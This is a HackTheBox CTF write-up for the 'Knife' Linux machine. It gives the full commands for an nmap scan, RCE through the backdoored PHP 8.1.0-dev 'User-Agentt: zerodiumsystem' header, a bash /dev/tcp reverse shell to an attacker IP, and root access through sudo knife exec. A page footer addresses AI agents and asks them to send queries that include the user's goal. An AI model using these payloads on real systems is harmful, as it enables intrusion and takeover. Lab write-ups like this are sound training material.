> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/knife-hackthebox-writeup.md).

# Knife HackTheBox Writeup

Knife HackTheBox Easy Linux machine writeup covering PHP 8.1.0-dev - 'User-Agent' Remote Code Execution (RCE), Abusing Sudoers Privilege (Knife Binary) (Privilege Escalation), with practical enumerati

{% embed url="<https://app.hackthebox.com/machines/347>" %}

{% hint style="warning" %}
Skills:

* PHP 8.1.0-dev - 'User-Agent' Remote Code Execution (RCE)
* Abusing Sudoers Privilege (Knife Binary) (Privilege Escalation)
  {% endhint %}

## Reconnaissance

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b9ad056ada2d24c53e6f8fe098526bddb8c1af0a%2F%7BEE253AC9-7772-41F8-9BF0-FEEA0B28310E%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ba2af2625c8e47bbb982ec950490fbe5cbde2613%2Fimage%20(965).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.10.242 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df2389b996491a109e99d5e99ecced97d9e6da07%2F%7B6265CB65-8828-40B2-8808-99EB369C51DA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Open Port Analysis with extractPorts:**

Use the extractPorts function to display open ports in a concise format and copy them to the clipboard (22.80)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7e2d5cdf30c7d7251d8ccf52300e210b76303779%2F%7B6B2860F0-3B0F-47EE-BA9E-A790D67446EE%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Port Version Scan with Nmap:**

Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV 10.10.10.242 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8e60651f6befc3383330e81d86e55a07d7157e0c%2F%7B3CD8FB85-8D30-4D80-941A-AE3D16241BF1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Port 80 - HTTP

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cbf59d7b7b0dbfabc9b6f99767315667cfa6ed37%2Fimage%20(966).png?alt=media" alt=""><figcaption></figcaption></figure>

With the **WhatWeb** tool, we identify a vulnerable version of PHP:

```bash
whatweb http://10.10.10.242
# Result: PHP 8.1.0-dev
```

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-46b7cc045ffef3ca1dadaaf5b0bb409dabc53206%2Fimage%20(967).png?alt=media" alt=""><figcaption></figcaption></figure></div>

## **Exploitation - RCE via `User-Agent`**

A vulnerability associated with the PHP user agent for this version is identified.

{% embed url="<https://www.exploit-db.com/exploits/49933>" %}

A vulnerability in `User-Agent` allows remote code execution.

1. **Simple command execution**/ Send an HTTP request with a modified `User-Agent`:

```bash
curl -s -X GET http://10.10.10.242 -H "User-Agentt: zerodiumsystem('id');"
```

Result: The user group `james` appears in the response.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-484e31f3f1e6b22ef4ae83a77a14488f20f66d4b%2Fimage%20(969).png?alt=media" alt=""><figcaption></figcaption></figure>

2. **Reverse Shell Obtained**/ Configure a listener on your machine:

```bash
nc -nvlp 443
```

Then send the command to execute a reverse shell:

```bash
curl -s -X GET http://10.10.10.242 -H "User-Agentt: zerodiumsystem('bash -c /"bash -i >& /dev/tcp/10.10.14.26/443 0>&1/"');"
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5888306f3be3421b86cc69e2507fec02dfa35a9e%2Fimage%20(970).png?alt=media" alt=""><figcaption></figcaption></figure>

3. **Improved shell experience**/ Rendre le terminal plus interactif :

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Flag User.txt

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d511bbeb67055fea4a6004a146a142f924d49ebc%2Fimage%20(971).png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

**Analysis of Sudo permissions**

By running `sudo -l`, we observe that the user can run the `knife` binary as root:

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3aae7701b2933a94582a159f0e469187282ba707%2F%7B0CD289DE-20E3-4A68-90F7-809556CDC11A%7D.png?alt=media" alt=""><figcaption></figcaption></figure></div>

This binary is referenced on GTFOBins as allowing privilege escalation.

{% embed url="<https://gtfobins.github.io/gtfobins/knife/#sudo>" %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ab19e3e7db4f40eb5ba4599233702b2629afc992%2F%7BC093739F-84FF-462F-9D70-48951E7337C1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Exploitation**

Use the above command to get a root shell.

```bash
sudo /usr/bin/knife exec -E 'exec "/bin/sh"'
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c53e77489b706c0de4b3b32fda1da7a91b1d95b0%2Fimage%20(972).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0fc531b03eb86b4bb1db3964e43d45315e4cfe67%2Fimage%20(973).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9870c843f867046a1fd36e9516acfd0917ddb457%2F%7B596F43C4-0308-44B2-93F2-FD4003DA47F5%7D.png?alt=media" alt="" width="518"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/knife-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
